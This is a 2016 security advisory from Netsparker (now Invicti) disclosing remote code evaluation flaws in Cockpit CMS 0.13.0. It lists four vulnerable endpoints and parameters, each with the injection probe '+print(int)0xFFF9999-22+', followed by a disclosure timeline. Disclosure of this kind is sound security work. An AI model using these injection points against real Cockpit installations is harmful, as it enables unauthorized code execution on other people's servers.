Remote Code Evaluation (RCE) Vulnerabilities in Cockpit 0.13.0
Information
Advisory by Netsparker (now Invicti)
Name: Multiple RCE Vulnerabilities in Cockpit
Affected Software: Cockpit
Affected Versions: 0.13.0
Vendor Homepage: https://getcockpit.com
Vulnerability Type: Remote Code Evaluation
Severity: Important
Status: Not fixed
Invicti Advisory Reference: NS-16-016
Technical Details
Proof of Concept URLs for RCE vulnerabilities in Cockpit;
URL: /cockpit-0.13.0/accounts/save
Parameter Name: account._id
Parameter Type: JSON
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: /cockpit-0.13.0/auth/check
Parameter Name: auth%5buser%5d
Parameter Type: POST
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: /wordpress/w/cockpit-0.13.0/api/galleries/findOne
Parameter Name: filter._id
Parameter Type: JSON
Attack Pattern: '+print(int)0xFFF9999-22+'
URL: /cockpit-0.13.0/api/collections/findOne
Parameter Name: filter._id
Parameter Type: JSON
Attack Pattern: '+print(int)0xFFF9999-22+'
For more information on remote code execution and evaluation vulnerabilities, see Remote Code Evaluation.
Advisory Timeline
30 Jun 2016 – Issue reported
Jul – Sep 2016 – Several attempts to get in touch
19 Sep 2016 – Advisory released
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.